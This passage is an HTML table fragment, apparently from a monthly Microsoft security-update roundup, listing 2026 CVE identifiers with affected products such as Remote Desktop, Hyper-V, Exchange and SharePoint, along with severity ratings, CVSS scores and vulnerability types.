  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47654"><span>CVE-2026-47654</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48563"><span>CVE-2026-48563</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42992"><span>CVE-2026-42992</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44799"><span>CVE-2026-44799</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44801"><span>CVE-2026-44801</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42985"><span>CVE-2026-42985</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45648"><span>CVE-2026-45648</span></a></td>
  <td width="256" class="xl68">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42987"><span>CVE-2026-42987</span></a></td>
  <td width="256" class="xl68">Windows Deployment
  Services (WDS) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33828"><span>CVE-2026-33828</span></a></td>
  <td width="256" class="xl68">Windows Device Health
  Attestation (DHA) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44803"><span>CVE-2026-44803</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44812"><span>CVE-2026-44812</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45607"><span>CVE-2026-45607</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45641"><span>CVE-2026-45641</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47652"><span>CVE-2026-47652</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47288"><span>CVE-2026-47288</span></a></td>
  <td width="256" class="xl68">Windows Kerberos Key
  Distribution Center (KDC) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><span>CVE-2026-45657</span></a></td>
  <td width="256" class="xl68">Windows Kernel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48574"><span>CVE-2026-48574</span></a></td>
  <td width="256" class="xl68">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45490"><span>CVE-2026-45490</span></a></td>
  <td width="256" class="xl68">.NET SDK Elevation of
  Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45491"><span>CVE-2026-45491</span></a></td>
  <td width="256" class="xl68">.NET Tampering
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45591"><span>CVE-2026-45591</span></a></td>
  <td width="256" class="xl68">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47643"><span>CVE-2026-47643</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41098"><span>CVE-2026-41098</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45642"><span>CVE-2026-45642</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Attestation service and Device Health Attestation Service Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45650"><span>CVE-2026-45650</span></a></td>
  <td width="256" class="xl68">Microsoft Bing Search
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45637"><span>CVE-2026-45637</span></a></td>
  <td width="256" class="xl68">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45647"><span>CVE-2026-45647</span></a></td>
  <td width="256" class="xl68">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40371"><span>CVE-2026-40371</span></a></td>
  <td width="256" class="xl68">Microsoft Dynamics 365
  (on-premises) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44822"><span>CVE-2026-44822</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45455"><span>CVE-2026-45455</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45469"><span>CVE-2026-45469</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44817"><span>CVE-2026-44817</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44818"><span>CVE-2026-44818</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44820"><span>CVE-2026-44820</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44823"><span>CVE-2026-44823</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45459"><span>CVE-2026-45459</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45504"><span>CVE-2026-45504</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45502"><span>CVE-2026-45502</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45503"><span>CVE-2026-45503</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45583"><span>CVE-2026-45583</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45500"><span>CVE-2026-45500</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45501"><span>CVE-2026-45501</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47631"><span>CVE-2026-47631</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42986"><span>CVE-2026-42986</span></a></td>
  <td width="256" class="xl68">Microsoft Graphics
  Component Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41092"><span>CVE-2026-41092</span></a></td>
  <td width="256" class="xl68">Microsoft Kinect
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45644"><span>CVE-2026-45644</span></a></td>
  <td width="256" class="xl68">Microsoft Live Share
  Canvas SDK Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47293"><span>CVE-2026-47293</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45485"><span>CVE-2026-45485</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44821"><span>CVE-2026-44821</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45483"><span>CVE-2026-45483</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Project Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45475"><span>CVE-2026-45475</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44819"><span>CVE-2026-44819</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44824"><span>CVE-2026-44824</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45645"><span>CVE-2026-45645</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49161"><span>CVE-2026-49161</span></a></td>
  <td width="256" class="xl68">Microsoft PC Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42902"><span>CVE-2026-42902</span></a></td>
  <td width="256" class="xl68">Microsoft PowerToys
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45484"><span>CVE-2026-45484</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45454"><span>CVE-2026-45454</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47298"><span>CVE-2026-47298</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45467"><span>CVE-2026-45467</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45468"><span>CVE-2026-45468</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45479"><span>CVE-2026-45479</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45453"><span>CVE-2026-45453</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47636"><span>CVE-2026-47636</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47637"><span>CVE-2026-47637</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47638"><span>CVE-2026-47638</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47639"><span>CVE-2026-47639</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47641"><span>CVE-2026-47641</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33113"><span>CVE-2026-33113</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45462"><span>CVE-2026-45462</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
